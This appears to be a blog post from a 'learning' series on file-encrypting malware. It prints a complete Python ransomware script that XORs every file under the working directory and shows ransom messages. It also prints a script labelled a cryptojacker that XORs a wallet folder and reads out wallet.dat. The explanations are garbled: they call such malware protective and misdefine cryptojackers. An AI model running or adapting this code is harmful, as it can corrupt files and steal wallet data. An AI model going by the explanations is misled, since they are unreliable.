10-Days of learning - Day 8 - Encryption and Decryption Malware
Encryption and Decryption Malware: Encryption and decryption malware are types of malware that are designed to encrypt or decrypt files or data on a system. These malware can be used for various purposes, such as stealing sensitive information, protecting confidential data, or implementing ransomware.
Importance: Encryption and decryption malware are crucial because they can help to protect sensitive data from unauthorized access or modification. By encrypting files or data, the malware can prevent the data from being accessed by the user or by other malware. This can be an effective way to protect against data theft or unauthorized access.
Examples:
- Ransomware: Ransomware is a type of encryption malware that encrypts the files on a system and demands a ransom payment to the attacker in exchange for the decryption key. Once the ransom is paid, the malware decrypts the files and allows the user to access them.
- Cryptojackers: Cryptojackers are a type of decryption malware that target specific encryption algorithms or file formats. They can decrypt files if they detect that they are being used. This can be a way to protect against unauthorized access to encrypted files.
Here are a couple of example scripts that demonstrate how encryption and decryption malware can be implemented in Python:
Ransomware Script:
import os
import sys
import time
def encrypt_files(directory):
for root, dirs, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
with open(file_path, 'rb') as file_to_encrypt:
data = file_to_encrypt.read()
encrypted_data = bytearray(data)
for i in range(len(encrypted_data)):
encrypted_data[i] ^= 0xFF # Simple XOR encryption
with open(file_path, 'wb') as encrypted_file:
encrypted_file.write(encrypted_data)
def decrypt_files(directory, key):
for root, dirs, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
with open(file_path, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()
decrypted_data = bytearray(encrypted_data)
for i in range(len(decrypted_data)):
decrypted_data[i] ^= 0xFF # Simple XOR decryption
with open(file_path, 'wb') as decrypted_file:
decrypted_file.write(decrypted_data)
def ransomware_payload():
encrypt_files(os.getcwd())
print("All your files have been encrypted!")
print("Pay the ransom to decrypt your files.")
print("The decryption key is: 1234-5678-90AB-CDEF")
time.sleep(60) # Wait for the ransom payment
decrypt_files(os.getcwd(), "1234-5678-90AB-CDEF")
print("Your files have been decrypted.")
# Execute the ransomware payload
ransomware_payload() 
This script demonstrates a simple ransomware that encrypts files using a simple XOR encryption algorithm. The encrypt_files function iterates through all files in the specified directory and encrypts them by performing XOR encryption with a key of 0xFF. The encrypted files are written to disk with the same file name.
The decrypt_files function is similar to the encrypt_files function but performs the reverse operation, decrypting the files by performing XOR decryption with the same key 0xFF.
The ransomware_payload function encrypts all files in the current working directory, displays a message indicating that the files have been encrypted and prompts the user to pay the ransom. After a 60-second delay, the script attempts to decrypt the files using the provided decryption key.
Cryptojacker Script
Cryptojackers are a type of malware that targets cryptocurrency users and steals their cryptocurrency wallets. Unlike regular malware, cryptojackers are designed specifically to steal cryptocurrency wallets and can be very sophisticated in their methods.
import os
import shutil
def encrypt_files(directory):
for root, dirs, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
with open(file_path, 'rb') as f:
data = f.read()
encrypted_data = bytes(c ^ 0xFF for c in data)
with open(file_path, 'wb') as f:
f.write(encrypted_data)
def decrypt_files(directory):
for root, dirs, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
with open(file_path, 'rb') as f:
data = f.read()
decrypted_data = bytes(c ^ 0xFF for c in data)
with open(file_path, 'wb') as f:
f.write(decrypted_data)
def steal_bitcoins(wallet_dir):
wallet_dat = os.path.join(wallet_dir, 'wallet.dat')
with open(wallet_dat, 'r') as f:
wallet = f.read()
print(f"Bitcoin wallet stolen: {wallet}")
def main():
documents_dir = os.path.expanduser('~/Documents')
wallet_dir = os.path.join(documents_dir, 'BitcoinWallet')
encrypt_files(wallet_dir)
steal_bitcoins(wallet_dir)
decrypt_files(wallet_dir)
if __name__ == '__main__':
main()
Wallet with 2 files, can be read in plain text
After the Cryptojacker script is executed, files are encrypted
The script provided demonstrates a basic example of how a cryptojacker might steal Bitcoin wallets. The script encrypts files in a specified directory and steals the Bitcoin wallet information from a specified wallet file. The encryption is done by XORing each byte with the value 0xFF, which is a simple way to encrypt files but not very secure.
In a real-world scenario, cryptojackers would use more sophisticated encryption algorithms and techniques to protect their files and prevent detection. They might also try to hide their presence by deleting logs and other traces of their activities.
The script is for educational purposes to demonstrate how cryptojackers can steal sensitive information and should not be executed on a real system without proper authorization.
Remember, cryptojackers are malicious software designed to steal cryptocurrency wallets. They can be very dangerous and should be treated with caution.
Khal4n1
Security Researcher & Red Teamer